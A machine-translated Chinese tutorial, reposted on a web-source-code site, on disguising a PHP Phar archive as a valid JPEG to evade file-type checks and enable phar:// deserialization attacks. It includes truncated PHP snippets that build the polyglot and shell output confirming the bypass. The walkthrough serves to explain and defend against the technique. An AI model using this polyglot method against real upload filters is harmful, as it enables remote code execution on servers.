百分百源码网-让建站变得如此简单! 登录 注册 签到领金币!

主页 | 如何升级VIP | TAG标签

当前位置: 主页>网站教程>网页制作> 攻击者是怎样将PHP Phar包假装成图像以绕过文件类型检测的
分享文章到:

攻击者是怎样将PHP Phar包假装成图像以绕过文件类型检测的

发布时间:02/02 来源:未知 浏览: 关键词:

在US BlackHat 2018大会上,平安人员证明,攻击者不仅可以利用PHAR包发动RCE攻击,而且,通过调整其二进制内容,他们还可以将其假装成一幅图像,从而绕过平安检查。

在本文中,我们来看看第二点是怎样做到的。

背景知识

在US BlackHat 2018大会期间,Sam Thomas举行了一个关于在PHP中利用 phar:// 流包装器来实现针对效劳器的代码施行攻击的钻研会( 幻灯片 )。

在运转PHAR包时,由于PHP会对其内容停止反序列化,从而允许攻击者启动一个PHP对象包含链。其中,最有趣的部分在于怎样触发有效载荷:归档上的任何文件操纵都将施行它。最后,攻击者基本无需关心文件名是否准确,由于即便是失败的文件调用,PHP也会对其内容停止反序列化处置。

此外,攻击者完全可以将PHAR包假装成一幅图像:在这篇文章中,我们将为读者解释他们是怎样做到这一点的。

降至字节码级别

有时我们会健忘这一点,那就是在机器眼里,文件只不过是一堆遵循预定义构造的字节而已。关于利用程序而言,将检查本人是否可以治理这样的数据流,如果可以的话,就会生成响应的输出。

在Thomas的演讲中,曾提醒怎样创立具有有效JPEG头部的PHAR包。

攻击者是如何将PHP Phar包伪装成图像以绕过文件类型检测的

图片引自Sam Thomas的幻灯片

不过,这里我们要做的是创立一个具有JPEG头部的文件,并更新PHAR的校验和。这样一来,PHAR包一方面会被视为一个图像,同时,PHP还可以继续施行它。

开端下手

听起来,这里只需修改几个字节并更新校验,按说应当非常轻松,对吧?

然而,事实并非如此。

计算校验和(至少对我来说)是一件让人头痛的事情。所以,我想:如果让PHP来代劳的话,会怎样呢?

所以,我对Thomas的原始剧本停止了一番革新,详细如下所示:

startBuffering();
$phar->addFromString("test.txt","test");
$phar->setStub("\xFF\xD8\xFF\xFE\x13\xFA\x78\x74 __HALT_COMPILER(); ?>");
$o = new TestObject();
$phar->setMetadata($o);
$phar->stopBuffering();

如您所见,这里将原始HEX字节增加到了PHAR存档的存根部分。下面是原始HEX得到的结果:

tampe125@AlphaCentauri:~$ xxd phar.jpeg 
00000000: ffd8 fffe 13fa 7874 205f 5f48 414c 545f ......xt __HALT_
00000010: 434f 4d50 494c 4552 2829 3b20 3f3e 0d0a COMPILER(); ?>..
00000020: 4c00 0000 0100 0000 1100 0000 0100 0000 L...............
00000030: 0000 1600 0000 4f3a 3130 3a22 5465 7374 ......O:10:"Test
00000040: 4f62 6a65 6374 223a 303a 7b7d 0800 0000 Object":0:{}....
00000050: 7465 7374 2e74 7874 0400 0000 177e 7a5b test.txt.....~z[
00000060: 0400 0000 0c7e 7fd8 b601 0000 0000 0000 .....~..........
00000070: 7465 7374 6f9e d6c6 7d3f ffaa 7bc8 35ea testo...}?..{.5.
00000080: bfb5 ecb8 7294 2692 0200 0000 4742 4d42 ....r.&.....GBMB

这同时是一个合法的PHAR包,以及一幅合法的JPEG图像吗?

tampe125@AlphaCentauri:~$ file phar.jpeg 
phar.jpeg: JPEG image data
tampe125@AlphaCentauri:~$ php -a
php > var_dump(mime_content_type('phar.jpeg'));
php shell code:1:
string(10) "image/jpeg"
php > var_dump(file_exists('phar://phar.jpeg/test.txt'));
php shell code:1:
bool(true)

看到了吧,PHP将其视为一幅图像,我们依然可以摸索存档的内容。哈哈,好玩吧!

留意:请细心查看存根部分,看看它是怎样“跳过”开头部分的PHP标志的。由于这里是绕过大多数内容扫描程序的关键所在。关于存档来说,是否有效的关键在于函数 __HALT_COMPILER() ; 我认为,PHP会通过它来肯定出应当“跳过”多少数据。

更进一步

到当前为止,我们制作的文件已经可以通过任何基于文件头的类型检测了,但是,关于更高级的检测办法来说,它就无能为力了。例如,使用 getimagesize 来检查文件内容是否为图像的话,将返回false,由于它并不是一幅“真正”的图像:

tampe125@AlphaCentauri:~$ php -a
php > var_dump(getimagesize('phar.jpeg'));
php shell code:1:
bool(false)

看到了吧。

但是,别忘了,我们可以在 __HALT_COMPILER() 标志此前填充任意的数据的,所以,如果我们在此填入一幅完全的图像的话,会怎样呢?于是,我花了大量的时间去研读 JPEG标准 和 PHP源代码 ,不过最后依然没有理出头绪,所以,我武断决议放弃——太复杂了。

那么,能否直接使用GIMP创立10x10黑色图像并嵌入其中呢?

startBuffering();
$phar->addFromString("test.txt","test");
$phar->setStub($jpeg_header_size." __HALT_COMPILER(); ?>");
$o = new TestObject();
$phar->setMetadata($o);
$phar->stopBuffering();

好了,看看结果怎样:

tampe125@AlphaCentauri:~$ file phar.jpeg 
phar.jpeg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, comment: "Created with GIMP", progressive, precision 8, 10x10, frames 3
tampe125@AlphaCentauri:~$ php -a
php > var_dump(mime_content_type('phar.jpeg'));
php shell code:1:
string(10) "image/jpeg"
php > var_dump(file_exists('phar://phar.jpeg/test.txt'));
php shell code:1:
bool(true)
php > var_dump(getimagesize('phar.jpeg'));
php shell code:1:
array(7) {
 [0] =>
 int(10)
 [1] =>
 int(10)
 [2] =>
 int(2)
 [3] =>
 string(22) "width="10" height="10""
 'bits' =>
 int(8)
 'channels' =>
 int(3)
 'mime' =>
 string(10) "image/jpeg"
}

这次,我们如愿以偿了。这个文件不仅是一个包含我们想要利用的类的PHAR包,同时,它还是一幅合法的图像(我们乃至可以用系统图像查看器翻开它):

攻击者是如何将PHP Phar包伪装成图像以绕过文件类型检测的

小结

正如我们方才看到的,文件实际上只是一堆字节而已:如果我们只是利用其元数据停止类型检测的话,那么很大概会出错:攻击者可以轻松绕过检测,并返回他们想要的文件类型。要想检测文件类型,愈加可靠的解决方案是直接读取文件内容并搜索歹意字符串。

打赏

打赏

取消

感谢您的支持,我会继续努力的!

扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

百分百源码网 建议打赏1~10元,土豪随意,感谢您的阅读!

共有156人阅读,期待你的评论!发表评论
昵称: 网址: 验证码: 点击我更换图片
最新评论

本文标签

广告赞助

能出一分力是一分吧!

订阅获得更多模板

本文标签

广告赞助

订阅获得更多模板